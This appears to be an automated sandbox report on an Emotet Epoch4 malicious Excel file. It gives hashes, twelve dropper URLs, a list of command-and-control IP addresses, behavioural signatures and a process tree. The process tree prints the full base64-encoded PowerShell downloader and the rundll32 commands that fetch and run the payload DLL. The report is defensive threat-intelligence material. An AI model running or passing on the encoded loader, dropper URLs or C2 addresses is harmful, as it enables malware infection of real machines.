emotet | f162e06be7b450082f12b871fb49ec573dc8120fc6aa19bab484eec918cc5ff4

Analysis

max time kernel
151s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
02/02/2022, 20:19

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Report Analysis Logs

General

Target
sandpconstruction.co.uk.xls
Size 150KB
Sample220202-y3v98abef3
SHA256 f162e06be7b450082f12b871fb49ec573dc8120fc6aa19bab484eec918cc5ff4
MD5 29ccc0342cb147b6ecd386dc36352a10
SHA1 5c322ca047522c45ed287498d5bf9fd40f57bb12
SHA512 5c9f3c71332b074345b1502b69d704d594bc2087e91b6122352af6b88f96d5244840ecc37aacdf60e061fe086415b53a53f595f8c6610f42581dc1c9d79cdc08
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
exe.dropper
http://sbcopylive.com.br/rjuz/w/
exe.dropper
https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
exe.dropper
https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
exe.dropper
https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
exe.dropper
http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
exe.dropper
https://pardiskood.com/wp-content/NR/
exe.dropper
https://daujimaharajmandir.org/wp-includes/63De/
exe.dropper
https://datasits.com/wp-includes/Zkj4QO/
exe.dropper
https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/
exe.dropper
https://atmedic.cl/sistemas/3ZbsUAU/
exe.dropper
https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Extracted

Family

emotet

Botnet

Epoch4

23.246.204.126:443
149.56.163.161:8080
212.237.5.209:443
159.89.230.105:443
178.63.25.185:443
104.251.214.46:8080
195.154.133.20:443
217.182.143.207:443
103.75.201.4:443
162.243.175.63:443
173.212.193.249:8080
138.185.72.26:8080
107.182.225.142:8080
45.118.115.99:8080
46.55.222.11:443
212.237.56.116:7080
178.79.147.66:8080
160.16.102.168:80
212.237.17.99:8080
51.38.71.0:443
207.38.84.195:8080
212.24.98.99:8080
110.232.117.186:8080
159.8.59.82:8080
131.100.24.231:80
58.227.42.236:80
164.68.99.3:8080
103.75.201.2:443
41.76.108.46:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.142.114.231:8080
192.254.71.210:443
185.157.82.211:8080
45.118.135.203:7080
129.232.188.93:443
45.176.232.124:443
79.172.212.216:8080
158.69.222.101:443
144.76.186.49:8080
200.17.134.35:7080
176.104.106.96:8080
81.0.236.90:443
216.158.226.206:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1884	3756	wscript.exe	53

Blocklisted process makes network request 3 IoCs

flow	pid	Process
47	3348	powershell.exe
50	3416	rundll32.exe
51	3416	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 4 IoCs

pid	Process
4056	rundll32.exe
792	rundll32.exe
116	rundll32.exe
3416	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cahwnzcmjhy\qqmzqhczw.kly	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\InternetConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.237248"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\NormalDownloadPendingCount = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.014618"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3756	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3348	powershell.exe
3348	powershell.exe
3416	rundll32.exe
3416	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE
3756	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3756 wrote to memory of 1884	3756	EXCEL.EXE	63
PID 3756 wrote to memory of 1884	3756	EXCEL.EXE	63
PID 1884 wrote to memory of 2948	1884	wscript.exe	64
PID 1884 wrote to memory of 2948	1884	wscript.exe	64
PID 2948 wrote to memory of 3348	2948	cmd.exe	66
PID 2948 wrote to memory of 3348	2948	cmd.exe	66
PID 1884 wrote to memory of 2608	1884	wscript.exe	67
PID 1884 wrote to memory of 2608	1884	wscript.exe	67
PID 2608 wrote to memory of 4056	2608	cmd.exe	69
PID 2608 wrote to memory of 4056	2608	cmd.exe	69
PID 2608 wrote to memory of 4056	2608	cmd.exe	69
PID 4056 wrote to memory of 792	4056	rundll32.exe	70
PID 4056 wrote to memory of 792	4056	rundll32.exe	70
PID 4056 wrote to memory of 792	4056	rundll32.exe	70
PID 792 wrote to memory of 116	792	rundll32.exe	71
PID 792 wrote to memory of 116	792	rundll32.exe	71
PID 792 wrote to memory of 116	792	rundll32.exe	71
PID 116 wrote to memory of 3416	116	rundll32.exe	72
PID 116 wrote to memory of 3416	116	rundll32.exe	72
PID 116 wrote to memory of 3416	116	rundll32.exe	72

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\sandpconstruction.co.uk.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3756
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2608
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4056
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\vbkwk.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:792
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cahwnzcmjhy\qqmzqhczw.kly",fseBWXYi
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:116
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cahwnzcmjhy\qqmzqhczw.kly",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3416

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 965356b5cfad749a7ef7cf06e488e8a1 jPErnmt4Ak+HtQgkkvL50g.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
PID:3312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/116-206-0x0000000002BC0000-0x0000000002BE5000-memory.dmp

Download

memory/792-204-0x00000000049D0000-0x00000000049F5000-memory.dmp

Download

memory/3348-182-0x000001CCF81D0000-0x000001CCF81F2000-memory.dmp

Download

memory/3348-185-0x000001CCF8210000-0x000001CCF8212000-memory.dmp

Download

memory/3348-186-0x000001CCF8213000-0x000001CCF8215000-memory.dmp

Download

memory/3348-187-0x000001CCF8216000-0x000001CCF8218000-memory.dmp

Download

memory/3416-208-0x0000000002600000-0x0000000002625000-memory.dmp

Download

memory/3756-133-0x00007FFA910B0000-0x00007FFA910C0000-memory.dmp

Download

memory/3756-138-0x00007FFA8E750000-0x00007FFA8E760000-memory.dmp

Download

memory/3756-137-0x00007FFA8E750000-0x00007FFA8E760000-memory.dmp

Download

memory/3756-134-0x00007FFA910B0000-0x00007FFA910C0000-memory.dmp

Download

memory/3756-130-0x00007FFA910B0000-0x00007FFA910C0000-memory.dmp

Download

memory/3756-131-0x00007FFA910B0000-0x00007FFA910C0000-memory.dmp

Download

memory/3756-132-0x00007FFA910B0000-0x00007FFA910C0000-memory.dmp

Download

memory/3756-151-0x00000158A8E20000-0x00000158A8E24000-memory.dmp

Download

memory/4056-202-0x0000000003FC0000-0x0000000003FE5000-memory.dmp

Download